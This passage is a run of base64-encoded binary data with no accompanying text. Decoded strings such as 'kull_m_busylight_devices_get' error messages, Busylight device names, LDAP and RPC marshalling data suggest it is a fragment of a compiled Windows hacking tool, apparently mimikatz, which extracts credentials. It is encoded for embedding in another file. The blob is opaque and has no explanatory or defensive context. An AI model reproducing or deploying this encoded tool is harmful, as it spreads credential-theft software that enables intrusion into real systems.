DLw0j8AAAAgP/7SPwAAAHBEDNM/AAAAsEIa0z8AAADgOSjTPwAAABAqNtM/AAAAUBNE0z8AAAAAAAAAAAAAAAAAAAAAjyCyIrwKsj3UDS4zaQ+xPVfSfugNlc49aW1iO0Tz0z1XPjal6lr0PQu/4TxoQ8Q9EaXGYM2J+T2fLh8gb2L9Pc292riLT+k9FTBC79iIAD6teSumEwQIPsTT7sAXlwU+AknUrXdKrT0OMDfwP3YOPsP2BkfXYuE9FLxNH8wBBj6/5fZR4PPqPevzGh4Legk+xwLAcImjwD1Rx1cAAC4QPg5uze4AWxU+r7UDcCmG3z1tozazuVcQPk/qBkrISxM+rbyhntpDFj4q6ve0p2YdPu/89zjgsvY9iPBwxlTp8z2zyjoJCXIEPqddJ+ePcB0+57lxd57fHz5gBgqnvycIPhS8TR/MARY+W15qEPY3Bj5LYnzxE2oSPjpigM6yPgk+3pQV6dEwFD4xoI8QEGsdPkHyuguchxY+K7ymXgEI/z1sZ8bNPbYpPiyrxLwsAis+RGXdfdAX+T2eNwNXYEAVPmAbepSL0Qw+fql8J2WtFz6pX5/FTYgRPoLQBmDEERc++AgxPC4JLz464SvjxRQXPppPc/2nuyY+g4TgtY/0/T2VC03Hmy8jPhMMeUjoc/k9bljGCLzMHj6YSlL56RUhPrgxMVlAFy8+NThkJYvPGz6A7YsdqF8fPuTZKflNSiQ+lAwi2CCYEj4J4wSTSAsqPv5lpqtWTR8+Y1E2GZAMIT42J1n+eA/4PcocyCWIUhA+anRtfVOV4D1gBgqnvycYPjyTReyosAY+qdv1G/haED4V1VUm+uIXPr/krr/sWQ0+oz9o2i+LHT43Nzr93bgkPgQSrmF+ghM+nw/pSXuMLD4dWZcV8OopPjZ7MW6mqhk+VQZyCVZyLj5UrHr8MxwmPlKiYc8rZik+MCfEEchDGD42y1oLu2QgPqQBJ4QMNAo+1nmPtVWOGj6anV6cIS3pPWr9fw3mYz8+FGNR2Q6bLj4MNWIZkCMpPoFeeDiIbzI+r6arTGpbOz4cdo7caiLwPe0aOjHXSjw+F41zfOhkFT4YZorx7I8zPmZ2d/Wekj0+uKCN8DtIOT4mWKruDt07Pro3AlndxDk+x8rr4OnzGj6sDSeCU841Prq5KlN0Tzk+VIaIlSc0Bz7wS+MLAFoMPoLQBmDEESc++IzttCUAJT6g0vLOi9EuPlR1CgwuKCE+yqdZM/NwDT4lQKgTfn8rPh6JIcNuMDM+UHWLA/jHPz5kHdeMNbA+PnSUhSLIdjo+44beUsYOPT6vWIbgzKQvPp4KwNKihDs+0VvC8rClID6Z9lsiYNY9Pjfwm4UPsQg+4cuQtSOIPj72lh7zERM2PpoPolyHHy4+pbk5SXKVLD7iWD56lQU4PjQDn+om8S8+CVaOWfVTOT5IxFb4b8E2PvRh8g8iyyQ+olM91SDhNT5W8olhf1I6Pg+c1P/8Vjg+2tcogi4MMD7g30SU0BPxPaZZ6g5jECU+EdcyD3guJj7P+BAa2T7tPYXNS35KZSM+Ia2ASXhbBT5kbrHULS8hPgz1OdmtxDc+/IBxYoQXKD5hSeHHYlHqPWNRNhmQDDE+iHahK008Nz6BPengpegqPq8hFvDGsCo+ZlvddIseMD6UVLvsbyAtPgDMT3KLtPA9KeJhCx+DPz6vvAfElxr4Paq3yxxsKD4+kwoiSQtjKD5cLKLBFQv/PUYJHOdFVDU+hW0G+DDmOz45bNnw35klPoGwj7GFzDY+yKgeAG1HND4f0xaeiD83PocqeQ0QVzM+9gFhrnnROz7i9sNWEKMMPvsInGJwKD0+P2fSgDi6Oj6mfSnLMzYsPgLq75k4hCE+5gggncnMOz5Q071EBQA4PuFqYCbCkSs+3yu2Jt96Kj7JboLIT3YYPvBoD+U9Tx8+45V5dcpg9z1HUYDTfmb8PW/fahn2Mzc+a4M+8xC3Lz4TEGS6bog5PhqMr9BoU/s9cSmNG2mMNT77CG0iZZT+PZcAPwZ+WDM+GJ8SAucYNj5UrHr8Mxw2PkpgCISmBz8+IVSU5L80PD4LMEEO8LE4PmMb1oRCQz8+NnQ5XgljOj7eGblWhkI0PqbZsgGSyjY+HJMqOoI4Jz4wkhcOiBE8Pv5SbY3cPTE+F+kiidXuMz5Q3WuEklkpPosnLl9N2w0+xDUGKvGl8T00PCyI8EJGPl5H9qeb7io+5GBKg39LJj4ueUPiQg0pPgFPEwggJ0w+W8/WFi54Sj5IZtp5XFBEPiHNTerUqUw+vNV8Yj19KT4Tqrz5XLEgPt12z2MgWzE+SCeq8+aDKT6U6f/0ZEw/Pg9a6Hy6vkY+uKZO/WmcOz6rpF+DpWorPtHtD3nDzEM+4E9AxEzAKT6d2HV6S3NAPhIW4MQERBs+lEjOwmXFQD7NNdlBFMczPk47a1WSpHI9Q9xBAwn6ID702eMJcI8uPkWKBIv2G0s+Vqn631LuPj69ZeQACWtFPmZ2d/Wekk0+YOI3hqJuSD7wogzxr2VGPnTsSK/9ES8+x9Gkhhu+TD5ldqj+W7AlPh1KGgrCzkE+n5tACl/NQT5wUCbIVjZFPmAiKDXYfjc+0rlAMLwXJD7y73l7745APulX3Dlvx00+V/QMp5METD4MpqXO1oNKPrpXxQ1w1jA+Cr3oEmzJRD4VI+OTGSw9PkKCXxMhxyI+fXTaTT6aJz4rp0Fpn/j8PTEI8QKnSSE+23WBfEutTj4K52P+MGlOPi/u2b4G4UE+khzxgitoLT58pNuI8Qc6PvZywS00+UA+JT5i3j/vAz4AAAAAAAAAAAAAAAAAAABAIOAf4B/g/z/wB/wBf8D/PxL6Aaocof8/IPiBH/iB/z+126CsEGP/P3FCSp5lRP8/tQojRPYl/z8IH3zwwQf/PwKORfjH6f4/wOwBswfM/j/rAbp6gK7+P2e38Ksxkf4/5FCXpRp0/j905QHJOlf+P3Ma3HmROv4/Hh4eHh4e/j8e4AEe4AH+P4qG+OPW5f0/yh2g3AHK/T/bgbl2YK79P4p/HiPykv0/NCy4VLZ3/T+ycnWArFz9Px3UQR3UQf0/Glv8oywn/T90wG6PtQz9P8a/RFxu8vw/C5sDiVbY/D/nywGWbb78P5HhXgWzpPw/Qor7WiaL/D8cx3Ecx3H8P4ZJDdGUWPw/8PjDAY8//D8coC45tSb8P+DAgQMHDvw/i42G7oP1+z/3BpSJK937P3s+iGX9xPs/0LrBFPms+z8j/xgrHpX7P4sz2j1sffs/Be6+4+Jl+z9PG+i0gU77P84G2EpIN/s/2YBsQDYg+z+kItkxSwn7PyivobyG8vo/XpCUf+jb+j8bcMUacMX6P/3rhy8dr/o/vmNqYO+Y+j9Z4TBR5oL6P20a0KYBbfo/SopoB0FX+j8apEEapEH6P6AcxYcqLPo/Akt6+dMW+j8aoAEaoAH6P9kzEJWO7Pk/LWhrF5/X+T8CoeRO0cL5P9oQVeokrvk/mpmZmZmZ+T//wI4NL4X5P3K4DPjkcPk/rnfjC7tc+T/g6db8sEj5P+Ysm3/GNPk/KeLQSfsg+T/VkAESTw35P/oYnI/B+fg/PzfxelLm+D/TGDCNAdP4Pzr/YoDOv/g/qvNrD7ms+D+ciQH2wJn4P0qwq/Dlhvg/uZLAvCd0+D8YhmEYhmH4PxQGeMIAT/g/3b6yepc8+D+gpIIBSir4PxgYGBgYGPg/BhhggAEG+D9AfwH9BfT3Px1PWlEl4vc/9AV9QV/Q9z98AS6Ss773P8Ps4Agirfc/izm2a6qb9z/IpHiBTIr3Pw3GmhEIefc/sak05Nxn9z9tdQHCylb3P0YXXXTRRfc/jf5BxfA09z+83kZ/KCT3Pwl8nG14E/c/cIELXOAC9z8XYPIWYPL2P8c3Q2v34fY/YciBJqbR9j8XbMEWbMH2Pz0aowpJsfY/kHJT0Tyh9j/A0Ig6R5H2PxdogRZogfY/GmcBNp9x9j/5IlFq7GH2P6NKO4VPUvY/ZCELWchC9j/ewIq4VjP2P0BiAXf6I/Y/lK4xaLMU9j8GFlhggQX2P/wtKTRk9vU/5xXQuFvn9T+l4uzDZ9j1P1cQkyuIyfU/kfpHxry69T/AWgFrBaz1P6rMI/FhnfU/7ViBMNKO9T9gBVgBVoD1PzprUDztcfU/4lJ8updj9T9VVVVVVVX1P/6Cu+YlR/U/6w/0SAk59T9LBahW/yr1PxX44uoHHfU/xcQR4SIP9T8VUAEVUAH1P5tM3WKP8/Q/OQUvp+Dl9D9MLNy+Q9j0P26vJYe4yvQ/4Y+m3T699D9bv1Kg1q/0P0oBdq1/ovQ/Z9Cy4zmV9D+ASAEiBYj0P3sUrkfhevQ/ZmBZNM5t9D+az/XHy2D0P8p2x+LZU/Q/+9liZfhG9D9N7qswJzr0P4cf1SVmLfQ/UVleJrUg9D8UFBQUFBT0P2ZlDtGCB/Q/+xOwPwH78z8Hr6VCj+7zPwKp5Lws4vM/xnWqkdnV8z/nq3uklcnzP1UpI9lgvfM/FDuxEzux8z8iyHo4JKXzP2N/GCwcmfM/jghm0yKN8z8UOIETOIHzP+5FydFbdfM/SAfe841p8z/4Kp9fzl3zP8F4K/scUvM/RhPgrHlG8z+yvFdb5DrzP/odau1cL/M/vxArSuMj8z+26+lYdxjzP5DRMAEZDfM/YALEKsgB8z9oL6G9hPbyP0vR/qFO6/I/l4BLwCXg8j+gUC0BCtXyP6AsgU37yfI/ETdajvm+8j9AKwGtBLTyPwXB85IcqfI/nhLkKUGe8j+lBLhbcpPyPxOwiBKwiPI/Tc6hOPp98j81J4G4UHPyPycB1nyzaPI/8ZKAcCJe8j+yd5F+nVPyP5IkSZIkSfI/W2AXl7c+8j/fvJp4VjTyPyoSoCIBKvI/ePshgbcf8j/mVUiAeRXyP9nAZwxHC/I/EiABEiAB8j9wH8F9BPfxP0y4fzz07PE/dLg/O+/i8T+9Si5n9djxPx2Boq0Gz/E/WeAc/CLF8T8p7UZASrvxP+O68md8sfE/lnsaYbmn8T+eEeAZAZ7xP5yijIBTlPE/2yuQg7CK8T8SGIERGIHxP4TWGxmKd/E/eXNCiQZu8T8BMvxQjWTxPw0ndV8eW/E/ydX9o7lR8T87zQoOX0jxPyRHNI0OP/E/Ecg1Ecg18T+swO2JiyzxPzMwXedYI/E/JkinGTAa8T8RERERERHxP4AQAb77B/E/EfD+EPD+8D+iJbP67fXwP5Cc5mv17PA/EWCCVQbk8D+WRo+oINvwPzqeNVZE0vA/O9q8T3HJ8D9xQYuGp8DwP8idJezmt/A/tewuci+v8D+nEGgKgabwP2CDr6bbnfA/VAkBOT+V8D/iZXWzq4zwP4QQQgghhPA/4uq4KZ978D/G90cKJnPwP/sSeZy1avA//Knx0k1i8D+GdXKg7lnwPwQ01/eXUfA/xWQWzElJ8D8QBEEQBEHwP/xHgrfGOPA/Gl4ftZEw8D/pKXf8ZCjwPwgEAoFAIPA/N3pRNiQY8D8QEBAQEBDwP4AAAQIECPA/AAAAAAAA8D8AAAAAAAAAAGxvZzEwAAAAELMHgAEAAACwsweAAQAAACUwNGh1JTAyaHUlMDJodSUwMmh1JTAyaHUlMDJodVoAAAAAAAAAAABCAHUAcwB5AGwAaQBnAGgAdAAgAEwAeQBuAGMAIABtAG8AZABlAGwAIAAoAHcAaQB0AGgAIABiAG8AbwB0AGwAbwBhAGQAZQByACkAAAAAAEIAdQBzAHkAbABpAGcAaAB0ACAAVQBDACAAbQBvAGQAZQBsAAAAAABrAHUAYQBuAGQAbwBCAE8AWAAAAAAAAABCAHUAcwB5AGwAaQBnAGgAdAAgAE8AbQBlAGcAYQAgAG0AbwBkAGUAbAAAAAAAAABCAHUAcwB5AGwAaQBnAGgAdAAgAEwAeQBuAGMAIABtAG8AZABlAGwAIAAoAE0AaQBjAHIAbwBjAGgAaQBwACAASQBkACkAAABGAHUAagBpAHQAcwB1ACAATQBNAE0AMgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABIAGkAZABQAF8ARwBlAHQAQwBhAHAAcwAgACgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACAAKABoAEsAZQBlAHAAQQBsAGkAdgBlAFQAaAByAGUAYQBkACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABoAEIAdQBzAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABkAGUAdgBpAGMAZQBIAGEAbgBkAGwAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAUwBlAHQAdQBwAEQAaQBHAGUAdABDAGwAYQBzAHMARABlAHYAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABXAHIAaQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwBzAGUAbgBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAAUwBpAHoAZQAgAGkAcwAgAG4AbwB0ACAAdgBhAGwAaQBkAGUAIAAoAHMAaQB6ACAAPQAgACUAdQAsACAAbQBhAHgAIAA9ACAAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwBzAGUAbgBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAASQBuAHYAYQBsAGkAZAAgAEQAZQB2AGkAYwBlAC8AQgB1AHMAeQAgAEgAYQBuAGQAbABlAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABSAGUAYQBkAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIAAlAHUAIABiAHkAdABlACgAcwApACAAcgBlAGEAZABlAGQALAAgACUAdQAgAHcAYQBuAHQAZQBkAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcgBlAGEAZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAEkAbgB2AGEAbABpAGQAIABEAGUAdgBpAGMAZQAvAEIAdQBzAHkAIABIAGEAbgBkAGwAZQAKA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